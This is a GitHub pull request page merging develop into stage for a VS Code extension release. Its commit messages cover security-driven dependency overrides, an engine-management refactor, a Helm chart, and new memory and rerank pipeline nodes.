Skip to content

chore: merge develop into stage for VS Code release#956

Merged
kwit75 merged 27 commits into
stagefrom
chore/merge-develop-into-stage-20260521
May 21, 2026
Merged

chore: merge develop into stage for VS Code release#956
kwit75 merged 27 commits into
stagefrom
chore/merge-develop-into-stage-20260521

Conversation

@kwit75

@kwit75 kwit75 commented May 21, 2026

Copy link
Copy Markdown
Collaborator

Summary

Brings the current develop HEAD into stage in preparation for tomorrow's VS Code release (per Rod's standup ask 2026-05-21).

24 develop commits ahead of stage. Highlights:

Preserves the 3 stage-unique commits: gdg-fixes (#904), minor version bump on release packages, and the prior develop→stage merge (#907).

Follows the same merge-commit pattern as #907.

Test plan

  • CI green on merge commit
  • Team verifies VS Code build off stage per Rod's standup ask
  • Release from stage tomorrow (2026-05-22)

anandray and others added 25 commits May 17, 2026 19:18
…ze-javascript RCE (#890)

Resolves 7 root-lockfile Dependabot alerts (4 high / 3 medium) plus
6 corresponding duplicates on packages/shared-ui/pnpm-lock.yaml that
clear once #886 lands (which deletes that dead sub-lockfile). 13 alerts
total across the cluster.

Adds four bounded pnpm.overrides entries:

  fast-uri              → >=3.1.2 <4     was 3.1.0, fix 3.1.2
  picomatch@<2.3.2      → >=2.3.2 <3     was 2.3.1, fix 2.3.2 (2.x line)
  picomatch@4           → >=4.0.4 <5     was 4.0.3, fix 4.0.4 (4.x line)
  serialize-javascript  → >=7.0.5 <8     was 6.0.2, fix 7.0.5 (major bump)

Bumps engines.node from >=18.0.0 to >=20.0.0 to match serialize-javascript@7's
declared minimum (engines.node >=20.0.0). CI workflows already run on
node-version: 20, so this aligns the declared engine with reality.

Post-install resolves to:
  picomatch@2.3.2, picomatch@4.0.4, fast-uri@3.1.2, serialize-javascript@7.0.5

Advisories cleared:

  picomatch:
    GHSA-c2c7-rcm5-vvqj  (high)   ReDoS via extglob quantifiers (2.x)
    GHSA-3v7f-55p6-f55p  (medium) Method injection in POSIX character
                                  classes; affects both 2.x and 4.x

  fast-uri:
    GHSA-q3j6-qgpj-74h6  (high)   Path traversal via percent-encoded
                                  dot segments
    GHSA-v39h-62p7-jpjc  (high)   Host confusion via percent-encoded
                                  authority delimiters

  serialize-javascript:
    GHSA-5c6j-r48x-rmvq  (high)   RCE via RegExp.flags / Date.toJSON
                                  prototype pollution
    GHSA-qj8w-gfj5-8c6v  (medium) CPU exhaustion DoS via crafted
                                  array-like inputs

serialize-javascript 6.0.2 → 7.0.5 is a major bump. Per the upstream
release notes, 7.0.0 introduces two changes:

  - engines.node tightened to >=20.0.0 (this commit aligns root
    package.json engines declaration accordingly).
  - URL object serialization output changed. Audited the repo: zero
    direct imports of `serialize-javascript` and zero direct
    `serialize()` call sites — usage is purely transitive via build
    tooling, which operates on its own internal data structures, not
    URL objects passed by our code. No application-level impact.

picomatch follows the same bounded-per-major pattern as minimatch
overrides (#887): preserves each major's API surface for callers that
rely on it. Other entries match the existing convention
(handlebars: ">=4.7.9 <5"; protobufjs: ">=7.5.5 <8").
#914)

Resolves 2 Dependabot alerts on the routing stack (1 high / 1 medium):

  react-router       6.26.2 → 6.30.3 (override: >=6.30.2 <7)
  @remix-run/router  1.19.2 → removed (inlined into react-router 6.30.x)

The react-router 6.30.x release line inlines @remix-run/router, so the
direct dependency entry disappears from the lockfile. A separate override
"@remix-run/router": ">=1.23.2 <2" is added as a defensive belt-and-
suspenders against any deeply-nested transitive that still pulls it in.

Advisories cleared:

  GHSA-2w69-qvjg-hvjx  (high)   @remix-run/router XSS via crafted route
                                paths leading to client-side script
                                execution in navigation-derived contexts
  GHSA-9jcx-v3wj-wh4m  (medium) react-router URL-handling vulnerability
                                that allowed bypass of router-level
                                guards through specific path encodings

Both advisories fixed in the 6.30.x line; react-router consumers (apps/*)
remain on v6 API. No call-site changes required.

Bounded ranges (>=fix-version <next-major) match the existing repo
convention used by handlebars, protobufjs, undici, etc.
…core) (#917)

Final themed long-tail security PR (#6d — utilities and SVG). Resolves
4 high-severity Dependabot alerts in a single override edit.

  svgo@2      → >=2.8.1 <3      was 2.8.0; bounded to 2.x (svgo 3.x
                                exists but is API-incompatible)
  flatted     → >=3.4.2 <4      was 3.3.3
  immutable@5 → >=5.1.5 <6      was 5.1.4; scoped to 5.x (4.x co-exists
                                in older deps but not affected by this
                                advisory, range >=5.0.0)
  underscore  → >=1.13.8 <2     was 1.13.7

Post-install resolves to:
  svgo@2.8.2  flatted@3.4.2  immutable@5.1.5  underscore@1.13.8

Advisories cleared (all high):

  GHSA-xpqw-6gx7-v673  svgo        ReDoS via crafted SVG path
                                   attribute parsing (2.x line)
  GHSA-rf6f-7fwh-wjgh  flatted     prototype pollution via
                                   crafted circular reference
  GHSA-wf6x-7x77-mvgw  immutable   ReDoS in toJSON serialization
                                   path on 5.x line
  GHSA-qpx9-hpmf-5gmw  underscore  command injection in _.template
                                   when used with user-controlled
                                   template strings

Bounded ranges (>=fix <next-major) match the existing repo convention.
Per-major scoping for svgo@2 and immutable@5 mirrors minimatch/picomatch
patterns from earlier PRs — preserves the API surface each major's
consumers expect.

Closes out the themed long-tail sweep:
  #6a (#914) routing      — react-router, @remix-run/router
  #6b (#915) parsers      — ajv, markdown-it, postcss, prismjs, yaml
  #6c (#916) middleware   — koa, qs
  #6d (this PR) util/SVG  — svgo, flatted, immutable, underscore

After all four merge: 15 of 19 outstanding alerts cleared. Remaining 4
are zombie/stale (3× cryptography pip already at fixed 46.0.7, 1×
@rspack/core already at 1.7.4 >> fix 1.0.0-rc.1) and will auto-close
on the next Dependabot rescan.
…916)

Third of the themed long-tail security PRs (PR #6c — backend
middleware). Resolves 4 Dependabot alerts on the HTTP server stack.

  koa  → >=2.16.4 <3   was 2.15.4; covers 3 alerts (l/m/h) all fixed
                       in 2.16.4
  qs   → >=6.14.2 <7   tightening from >=6.14.1; was 6.14.1, fix 6.14.2

Post-install resolves to koa@2.16.4, qs@6.15.2.

Advisories cleared:

  koa:
    GHSA-7gcc-r8m5-44qm  (high)   ReDoS via crafted Accept header
                                  causing exponential parsing time
    GHSA-x2rg-q646-7m2v  (medium) cache poisoning via response header
                                  injection
    GHSA-jgmv-j7ww-jx2x  (low)    open redirect via crafted Host header
                                  in ctx.redirect()

  qs:
    GHSA-w7fw-mjwx-w883  (low)    prototype pollution edge case in
                                  array bracket parsing

Both packages are deeply transitive (koa pulls via apps' server-side
build tooling; qs pulls via express/body-parser style chains). No
direct imports in our source tree.

Bounded ranges (>=fix <next-major) match the existing repo convention.

Independent of PR #6a (#914 — routing) and PR #6b (#915 — parsers).
Touches different override keys. No conflicts expected.
Second of the themed long-tail security PRs (PR #6b — parsers and format
processors). Resolves 5 medium-severity Dependabot alerts in a single
override edit.

Adds three new overrides and one tightening; uses per-major selectors
for ajv and yaml to avoid disturbing the older major lines that
co-exist in the dep tree.

  ajv@8        → >=8.18.0 <9     was 8.17.1, fix 8.18.0
                                 (ajv@6.12.6 also present, unaffected
                                  per advisory range >=7.0.0-alpha.0)
  markdown-it  → >=14.1.1 <15    was 14.1.0, fix 14.1.1
  postcss      → >=8.5.10        was 8.5.6 (tightening existing
                                  >=8.4.31 entry; resolves to 8.5.14)
  prismjs      → >=1.30.0 <2     was 1.27.0 + 1.30.0 coexist;
                                 forces caller to 1.30.0+
  yaml@1       → >=1.10.3 <2     was 1.10.2, fix 1.10.3
                                 (scoped to 1.x; no 2.x in tree but
                                  guards against future drift)

Post-install resolves to:
  ajv@8.20.0  markdown-it@14.1.1  postcss@8.5.14
  prismjs@1.30.0  yaml@1.10.3

Advisories cleared (all medium):

  GHSA-2g4f-4pwh-qvx6  ajv          input validation bypass via
                                    crafted schemas (8.x line)
  GHSA-38c4-r59v-3vqw  markdown-it  ReDoS via crafted reference-link
                                    syntax (14.x line)
  GHSA-qx2v-qp2m-jg93  postcss      input validation issue in
                                    selector parsing
  GHSA-x7hr-w5r2-h6wg  prismjs      DOM clobbering in language
                                    auto-detection
  GHSA-48c2-rrv3-qjmp  yaml         CPU exhaustion DoS on the 1.x
                                    line via crafted anchor refs

Bounded ranges (>=fix <next-major) match the existing repo convention
(handlebars: ">=4.7.9 <5"; protobufjs: ">=7.5.5 <8"). Per-major scoping
for ajv@8 and yaml@1 mirrors the minimatch/picomatch pattern from #887
and #890.

Independent of PR #6a (#914 — routing) and PR #6c/#6d (queued). The 3
pip cryptography alerts and 1 @rspack/core alert remain zombie/unrescanned
and will auto-close on the next Dependabot scan.
…figs (#905)

Upgrade Rsbuild across all UI apps from pinned 0.4/1.1 to ~1.7.5,
eliminating the Node.js DEP0180 (fs.Stats constructor) deprecation
warnings introduced in Node 22+.

pnpm-workspace.yaml:
- Add ignoreWorkspaceCycles: true (harmless cycle from dual "rocketride"
  package name used by both apps/vscode and packages/client-typescript)
- Add @vscode/vsce-sign to onlyBuiltDependencies (suppresses "ignored
  build scripts" warning non-interactively)
- Remove allowedDeprecatedVersions section (had no observable effect)

Rsbuild upgrades:
- apps/{hello,world,monitor,profiler,shell}-ui: 1.1.0/1.0.7 → ~1.7.5/~1.4.6
- apps/{chat,dropper}-ui: ^0.4.0 → ~1.7.5/~1.4.6/~1.3.4
- apps/vscode: ^1.4.10/^1.3.4/^1.2.3 → ~1.7.5/~1.4.6/~1.3.4
- packages/shared-ui: 1.1.0/1.0.7/1.1.0 → ~1.7.5/~1.4.6/~1.5.2;
  remove unused @rspack/binding-* platform pins

ESM config migration (rsbuild.config.ts → .mts):
- Rename all 7 rsbuild configs to .mts so Node treats them as ESM
  without needing "type": "module" in package.json (which would break
  existing CJS scripts/tasks.js and tailwind.config.js files)
- Add `const __dirname = path.dirname(fileURLToPath(import.meta.url))`
  where __dirname was used (hello, world, monitor, profiler, shell)
- Add `createRequire(import.meta.url)` bridge for CJS getenv helper
  (chat, dropper, shell)

packages/client-typescript/package.json:
- Remove pnpm.overrides section (handlebars override already exists in
  root package.json; sub-package overrides are ignored by pnpm)

packages/server/CMakeLists.txt:
- Bump cmake_minimum_required from 3.14 to 3.19 to match the actual
  minimum required by setup_vcpkg.cmake (manifest mode)

packages/server/scripts/tasks.js:
- Suppress pip "Scripts not on PATH" warning by prepending the engine's
  Scripts/bin directory to PATH for ensurepip and pip install commands

apps/vscode/src/deploy/engine-operations.ts:
- Rename service config from config.json to service-config.json
- Add migration: reads legacy path as fallback, deletes on next write

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
#922)

Already approver --- fix conflicts

* refactor(vscode): restructure engine management with ioControl pattern

Replaces the scattered engine lifecycle code (connection/, deploy/) with
a clean backend hierarchy under src/engine/. Each connection mode (local,
service, docker, cloud, onprem) gets its own EngineBackend implementation.

Architecture:
- EngineRegistry: singleton reconciler with config checksum change detection
- EngineManager: wraps one backend, drives lifecycle via transitionTo()
- EngineBackend: abstract base with start/stop/emitCurrentStatus/ioControl
- Unified ioControl message pattern for all panel operations

Key changes:
- Reconciler detects config changes (API key, host URL, etc.) via checksums
  and restarts affected engines automatically on settings save
- Eliminated engine:status event — all progress flows through shell:statusChange
- ConnectionManager is passive: connects on engine 'ready', disconnects on 'idle'
- Test Connection button on service/docker/onprem panels via ioControl('test')
- Docker GHCR tag fetching with global cache for prerelease resolution
- Version tracking: version.local.json, version.service.json, version.docker.json
- Migration from release layout (globalStorage + config.json) to new structure
- Welcome page uses same applyAllSettings + reconcile path as Settings
- Split-button dropdowns with grouped "Recommended" / "All versions" headers

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(vscode): resolve CodeRabbit review comments and remove debug logging

- Remove all 17 console.log debug statements from engine-manager and engine-registry
- Clear stale hostUrl on stop/error in cloud and onprem backends
- Map ws:/wss: to http:/https: in getHttpUrl()
- Validate pointer.dir against directory traversal in config migration
- Wrap backend.stop() in try/catch during mode transitions
- Split engineArgs into proper argv entries instead of single string
- Add waitForReady() port probe before emitting service 'ready'
- Persist Docker version metadata in instance lifecycle methods
- Detect Linux package manager (apt/dnf/yum/pacman) instead of hardcoding apt-get
- Only chown user-writable subdirs on macOS, keep INSTALL_ROOT root-owned
- Fix UAC-cancel fallback and uninstall.ps1 to remove full install root
- Guard getInstalledVersion() against phantom installs (missing binary)
- Check PID liveness before preserving .pid files during engine dir clear
- Store and remove event listeners on dispose (BarStatusProvider, message handler)
- Cancel pending config-change handlers before explicit reconcile
- Sync global caches on version/tag fetch failure
- Add 15s timeout to GHCR HTTPS requests
- Filter mode dropdown by serverCapabilities
- Avoid defaulting deploy mode to conflicting cloud value
- Show MessageDisplay for onprem in WelcomeWebview
- Gate save-snapshot logic on context:'save' in SettingsWebview
- Guard DeployManager.setEngineRegistry() in shared mode
- Reconnect after config-only changes via registry.reconcile()

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* revert(vscode): keep engineArgs as single string — server parses them

Reverts the rawArgs tokenization from the previous commit. The engine
server handles OS-appropriate argument parsing; splitting client-side
breaks that contract.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* chore(vscode): strengthen DO NOT split comment on engineArgs

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(deps): update pnpm-lock.yaml for lucide-react dependency

* chore: optimize SVG images via ImgBot (2.95% reduction)

Automated image optimization by ImgBot. 85 SVG files optimized with total size reduction from 462.69kb to 449.05kb (2.95%).

* feat(nodes): add text chunker and hybrid search nodes

Three chunking strategies (recursive, sentence, token) with configurable size/overlap. Hybrid search node with BM25 + vector RRF fusion. All CodeRabbit review feedback addressed including critical writeAnswers contract fix, score propagation, RRF validation, and typing modernization.

* feat(engine): add Kubernetes Helm chart for production deployment

- Add Helm chart with engine deployment, service, HPA, ingress, configmap, secret
- Add optional PostgreSQL+pgvector StatefulSet with PVC persistence
- Add optional ChromaDB deployment
- Configurable resource limits, replicas, probes, TLS, service accounts
- Helm test for /ping connectivity verification
- Comprehensive values.yaml with production-ready defaults

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(engine): address code review feedback on Helm chart PR

- Fix postgres probes to use Helm template values instead of shell expansion
- Remove Milvus section (use official subchart instead), clean up NOTES.txt
- Change default postgres password to 'changeme'
- Add secret checksum annotation for automatic pod restart on secret changes

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(helm): address CodeRabbit review feedback

- Wrap pg_isready probe commands in sh -c for proper env var expansion
- Guard HPA metrics list to avoid empty array when both targets unset
- Add email field to Chart.yaml maintainers entry

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(helm): address reviewer feedback on Helm chart PR #510

- Add fail guard in HPA when autoscaling enabled without metrics
- Add checksum/postgres-secret annotation to both engine deployment and
  postgres StatefulSet for automatic rollout on credential changes
- Add WARNING comments for default Postgres credentials in values.yaml
- Fix NOTES.txt NodePort address lookup to filter ExternalIP first
- Add securityContext and resource limits to test pod
- Document Chroma PVC lifecycle (intentional data persistence)
- Add GPU resource/nodeSelector/tolerations documentation in values.yaml
- Document HPA limitation for GPU inference workloads
- Clarify chart is for community/self-hosted deployments
- Add Helm templates to .prettierignore (Go template syntax)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(helm): show autoscaling info in NOTES.txt and harden container security

- NOTES.txt now shows HPA min/max replicas when autoscaling is enabled
  instead of the static replicaCount which is misleading
- Set readOnlyRootFilesystem: true in default securityContext
- Add /tmp emptyDir volume mount to deployment template so the engine
  has a writable scratch directory with read-only root filesystem

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* refactor(helm): remove bundled Postgres and ChromaDB, add external service examples

This chart should not bundle stateful services that are better managed
externally. Users should provision PostgreSQL and ChromaDB via managed
cloud services or dedicated Helm charts.

- Delete postgres-statefulset.yaml and chroma-deployment.yaml templates
- Remove postgres/chroma sections from values.yaml
- Remove postgres env vars and checksum annotation from deployment.yaml
- Remove postgres secret helper from _helpers.tpl
- Add deploy/helm/examples/ with external-postgres.yaml, external-chroma.yaml
- Add examples/README.md documenting how to use managed services

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* docs(helm): add architecture docs and GPU limitation warnings

- Create deploy/helm/ARCHITECTURE.md with community vs SaaS comparison
- Add WARNING comment in hpa.yaml about CPU/memory HPA being unsuitable
  for GPU inference workloads
- Create deploy/helm/examples/keda-gpu-scaling.yaml with KEDA ScaledObject
  example for GPU-aware autoscaling
- Add ARCHITECTURE.md reference in Chart.yaml

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* feat(helm): add GPU support with nodeSelector and tolerations

- Add engine.gpu config section (enabled, count, nodeSelector, tolerations)
- Conditionally add nvidia.com/gpu resource limit in deployment template
- Merge GPU nodeSelector and tolerations with base engine values
- Create deploy/helm/examples/gpu-values.yaml with working GPU example

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(helm): add secret validation and update appVersion to 3.1.2

- Add rocketride.validateSecrets template that fails if neither
  engine.existingSecret nor engine.secrets is configured
- Invoke validation at the top of the deployment template
- Update Chart.yaml appVersion from 3.1.1 to 3.1.2 to match package.json
- Verify health endpoint: /ping on port 5565 is correct (confirmed via
  Dockerfile.engine EXPOSE and AI web server route registration)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(helm): address post-review findings on Kubernetes Helm chart

- Lower engine.replicaCount default 2 → 1 for single-node/lab users;
  update autoscaling.minReplicas to match; add HA tuning note in comment
- Add operator-facing README.md covering install/upgrade/uninstall,
  existingSecret pattern, examples pointer, and HA tuning guide
- Add helm-lint + kubeconform CI jobs to ci.yml, path-filtered to
  deploy/helm/** via dorny/paths-filter (matches existing ci.yml style)

Exec audit: confirmed no exec.command blocks with $(VAR) syntax
exist anywhere in deploy/helm/rocketride/templates/ — clean.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(ci): add helm-lint to ci-ok gatekeeper needs

helm-lint and helm-changes were added to ci.yml but omitted from the
ci-ok aggregator job, meaning helm failures would not block PR merges.
Added both to needs[] and updated the echo statement to include their
results in the CI OK diagnostic output.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>

* fix(helm): support external secret rollout bump

* style(tests): ruff format chunker and hybrid search tests

* chore(helm): remove out-of-scope chunker/search_hybrid scope creep

Those nodes are tracked in PRs #897 and #899 separately. They were
accidentally included on this branch via an older merge (commit 905ab76)
and were causing a dynamic-test failure unrelated to the Helm chart.
Also restored upstream versions of asset files that were drifted by the
same merge.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: imgbot[bot] <31301654+imgbot[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
…in-memory backends (#547)

* feat(nodes): add persistent memory pipeline node

Add a cross-session persistent memory node with pluggable backends
(Redis for production, in-memory for testing). The node intercepts
questions to enrich them with stored session context and persists
answers for future retrieval.

Key features:
- Session management: create, resume, list, delete
- Keyed storage: put, get, list_keys, clear per session
- Auto-summarization when history exceeds configurable limit
- TTL enforcement for session expiry
- Thread-safe with deep copy on get/put to prevent mutation
- Input validation to prevent Redis key injection/path traversal
- InMemory backend bounded to 1000 sessions max

Includes 79 tests covering session CRUD, memory operations, session
isolation, mocked Redis backend, auto-summarization, history retrieval,
TTL enforcement, thread safety, deep copy mutation prevention, and
IGlobal/IInstance lifecycle.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(nodes): address CodeRabbit review feedback on memory persistent node

- Use os.path.join for requirements path instead of string concatenation
  for cross-platform path safety
- Add proper Redis connection cleanup in endGlobal to prevent connection
  leaks on pipeline shutdown
- Make answer_count increment atomic with a threading lock to prevent
  lost updates from concurrent threads
- Replace manual loop with list.extend for keys_to_expire in Redis
  backend _set_ttl method

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(nodes): address CodeRabbit review feedback on persistent memory node

- Fix Redis TTL drift: use PTTL on metadata key to align new key expiry
  with session remaining TTL instead of reapplying full original TTL
- Fix encapsulation: add replace_history() abstract method to MemoryBackend
  so summarize_if_needed() no longer reaches into backend internals
- Fix Redis cleanup: add close() method to MemoryBackend (no-op base,
  explicit client.close() in RedisBackend), use from IGlobal.endGlobal()
- Use list unpacking [summary, *recent] instead of concatenation
- Batch Redis rpush calls in replace_history() for efficiency
- Add tests for TTL alignment, replace_history, close, and Redis cleanup

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(nodes): address CodeRabbit review feedback on memory_persistent node

- Wrap session_id validation in IInstance writeQuestions/writeAnswers with
  try/except ValueError so malformed metadata skips memory enrichment
  instead of crashing the pipeline
- Add _expire_if_needed helper to InMemoryBackend, called from put, get,
  list_keys, clear, and get_history to enforce TTL consistently
- Use copy.deepcopy in InMemoryBackend.replace_history to maintain the
  deep-copy contract
- Guard Redis put() against reviving expired sessions by checking PTTL
  on the meta key before writing
- Replace direct sys.modules mutation in test helpers with monkeypatch
  fixtures so mocked modules are automatically cleaned up after each test

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>

* fix(nodes): address review feedback on persistent memory node (#547)

- Add atomic increment() method: InMemoryBackend uses lock-protected
  increment, RedisBackend uses native INCRBY for true atomicity
- Simplify IInstance answer_count to use store.increment() instead of
  manual lock + get + put
- Use list unpacking in RedisBackend.delete_session() for clarity
- Remove unused threading import from IInstance

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix(memory): preserve session continuity and ttl precision

* fix(nodes): apply acknowledged CodeRabbit items on memory node (#547)

- os.path.join for cross-platform path construction
- Explicit Redis close()/disconnect() on teardown (try/finally)
- Atomic counter: INCR for Redis, threading.Lock for in-memory
- list.extend instead of loop-append in memory_store
- TTL inheritance: late-added keys inherit remaining session TTL

Tests added for TTL inheritance, concurrent increment, Redis teardown.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore(notes): move memory_persistent node test file

* fix(nodes): close persistent memory review gaps

* fix(ci): provide fork-safe test api key

* fix(test): avoid pytest approx in memory ttl check

* docs: add persistent memory session ADR

* style(nodes): format persistent memory files

* fix(nodes): address maintainer review on memory_persistent (#547)

stepmikhaylov's CHANGES_REQUESTED review of 2026-05-19. Each point:

1. Mark node experimental in capabilities — services.json now has
   "capabilities": ["experimental"].

2. Add a test section to services.json — added a minimal profile-driven
   case per docs/README-node-testing.md (forwards a question with no
   session_id unchanged).

3. Remove sys.path manipulation from both test files — the NODES_SRC /
   ROCKETLIB / AI_SRC inserts at the top of test_memory_store.py and
   test_node.py are gone. Path resolution to nodes/test/mocks/ is now
   handled in a local conftest.py (conftest, not test files).

4. Don't mock rocketlib / ai — the importlib spec_from_file_location
   shim, the engine_mocks fixture, and the per-test patch.dict over
   sys.modules['rocketlib' | 'ai' | 'ai.common.*'] are all removed.
   The tests now use standard imports:
     from nodes.memory_persistent.IGlobal import IGlobal
     from nodes.memory_persistent.IInstance import IInstance
     from nodes.memory_persistent.memory_store import ...
   The brittle requirements-path regression test that mocked `depends`
   was dropped — the os.path.join usage is self-evident in IGlobal.py.

5. Move FakeRedis / FakePipeline to nodes/test/mocks/ — extracted to
   nodes/test/mocks/redis_fake/__init__.py, renamed to drop the
   underscore prefix and consumed via "from redis_fake import FakeRedis".

6. Remove docs/adr changes — deleted 0002-persistent-memory-session-
   contract.md and reverted the ADR index entry in docs/adr/README.md.

Tests cannot be run locally — rocketlib imports engLib which only
exists after a builder build into dist/server — so first signal will
be CI. Ruff check + ruff format are clean on all touched files.

* fix(test): append mocks/ to sys.path instead of prepending

My previous conftest.py at nodes/test/memory_persistent/ used
sys.path.insert(0, mocks_dir), which prepended the shared mocks
directory to sys.path for the entire pytest session. This caused
`import weaviate` to resolve to the incomplete shadow mock at
nodes/test/mocks/weaviate/ (which has no `client` submodule) instead
of the real weaviate library in dist/server, breaking 6 unrelated
weaviate tests.

The shadow-style mocks in nodes/test/mocks/ are only meant to be
activated subprocess-side via ROCKETRIDE_MOCK. At unit-test collection
time the real libraries from dist/server must keep priority. Switching
to sys.path.append leaves real-library resolution unchanged and only
makes `redis_fake` (a name that doesn't collide with any real or
shadow module) importable.

* fix(test): import redis_fake as a package, drop sys.path conftest

The local conftest.py added nodes/test/mocks/ to sys.path at collection
time. Because pytest loads every conftest at session start, that path
mutation was global and broke 6 unrelated weaviate tests
(ModuleNotFoundError: No module named 'weaviate.client') — their own
stub save/restore logic conflicts with mocks/ sitting on sys.path.

The node test runner invokes pytest with --rootdir=nodes and targets
nodes/test (nodes/scripts/tasks.js). Since nodes/__init__.py does not
exist but nodes/test/__init__.py does, pytest's prepend import mode puts
nodes/ on sys.path and imports the suite as the `test` package. So the
fake is reachable as a normal package import with no path hacks:

    from test.mocks.redis_fake import FakeRedis

Deleted the conftest entirely. This both restores the weaviate tests and
fully satisfies the maintainer's "no sys.path manipulation" requirement.

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: stepmik <stepmikhaylov@yandex.ru>
Co-authored-by: Alexandru Sclearuc <asclearuc@gmail.com>
* feat(nodes): add Cohere Rerank pipeline node

Adds a `rerank_cohere` pipeline node that slots between vector search
and the LLM in RAG pipelines, improving answer quality by reranking
retrieved documents by relevance to the query.

Components:
- RerankClient — wraps Cohere ClientV2 with top_n/min_score validation
  and an exception hierarchy (RerankAuthenticationError, RerankRateLimitError,
  RerankBadRequestError, RerankServerError) named for circuit-breaker
  substring heuristics.
- IGlobal — standard validateConfig (no live API call) and beginGlobal
  lifecycle, with depends() for SDK auto-install.
- IInstance — deep-copies question (fan-out safe), maps rerank result
  indices back through original document positions so metadata stays
  aligned when min_score filters blank docs, always emits an answer.
- services.json — rerank-v3.5 (default), rerank-english-v3.0, custom
  profiles; top_n and min_score exposed in all preset shapes.

Resubmission of the rerank portion of closed PR #499 per maintainer
feedback: one PR per node, clean branch from develop, no unrelated
file changes.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* chore(format): apply ruff format to llm_vision_* files

Mirrors #900. These three pre-existing files on develop drifted out of
`ruff format --check` after PR #723's cleanup; including the fix here so
this PR's CI `ruff-check` (and the `CI OK` gatekeeper that depends on
it) goes green without waiting for #900 to merge first.

Pure mechanical `ruff format` output — line-break reformatting only,
no semantic changes. If #900 merges first, this commit becomes a no-op
on rebase.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(rerank_cohere): harden validation, mark experimental, default to v3.0

- services.json: mark capabilities=["experimental"] (stepmikhaylov CR-1)
- services.json: default preset rerank-english-v3.0 (CodeRabbit nit)
- services.json: add requires=["ROCKETRIDE_RERANK_COHERE_KEY"] on test
  block so missing keys skip dynamic tests cleanly (stepmikhaylov CR-6)
- rerank_client.py: accept int|float for top_n (excluding bool) and
  coerce JSON 5.0 -> 5; same bool-exclusion for min_score; centralized
  in _coerce_top_n / _validate_min_score helpers (stepmikhaylov CR-7 +
  CodeRabbit non-bool int check)
- IGlobal.py: validateConfig rejects non-str/whitespace-only apikey and
  model before .strip() (CodeRabbit)
- IInstance.py: trim query/document strings before emptiness checks so
  whitespace-only payloads are rejected (CodeRabbit)

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* test(rerank_cohere): relocate to nodes/test/rerank_cohere/test_all.py

Per repo convention for node-specific unit tests. Stops mocking
engine-level modules (rocketlib, ai.*, depends) and drops the
sys.path.insert hack — IGlobal/IInstance are imported through the
build interpreter that already provides them, matching guardrails
and astra_db.

The external cohere SDK is the only dependency mocked, sourced from
the canonical nodes/test/mocks/cohere/ package. The mock is loaded
via a scoped sys.path so other tests are not contaminated.

Additional coverage:
- top_n: accepts JSON float 5.0 (coerced to int), rejects 2.5 and bool
- min_score: rejects bool (subclass of int) at init and override
- validateConfig: rejects non-string apikey/model before .strip()
- IInstance: whitespace-only query and whitespace-only page_content
  raise ValueError

Addresses stepmikhaylov CR-2..CR-5 and CodeRabbit nit re patch.dict.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* test(rerank_cohere): supply required DocMetadata fields in IInstance tests

Three IInstance tests (test_write_questions_preserves_metadata,
test_write_questions_metadata_alignment_after_filter,
test_write_questions_does_not_mutate_original) constructed Doc objects
with metadata dicts missing the required chunkId (and in one case
objectId) fields. The build interpreter's real pydantic DocMetadata
schema requires both, so the tests failed with ValidationError under
builder nodes:test even though they passed locally with the cohere mock.

Also tighten the dict-equality assertion to attribute-level since
DocMetadata is a pydantic model, not a dict.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

* fix(rerank_cohere): harden runtime input validation in RerankClient.rerank

Reject non-string and whitespace-only query/documents/model values before
calling the Cohere SDK, so callers get a deterministic local ValueError
instead of RerankBadRequestError/RerankServerError from the network. This
keeps the wrapper's stable validation contract aligned with the existing
validateConfig hardening.

Addresses CodeRabbit review on PR #898.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
* fix bug, handle missing dest in sync.js and add sync.test.js file

* Fix _processFullTables storing a float instead of a Doc on higher score, and bootstrap merged table rows from the current chunk instead of a stale doc.
… fixes (#932)

This was already approved and just address some code rabbit comments

* fix(vscode): simplify sidebar footer and adopt native sash styles

Sidebar footer: the previous footer showed a popup menu with three
separate gear/settings icons when connected locally without a cloud
account. This was redundant — all three opened the same Settings page.

Replace the popup with a flat layout when the connection is shared
(no independent deploy target) and no cloud account is active:
  - Documentation and Settings buttons rendered directly
  - Connection status displayed inline (dot + state + progress)
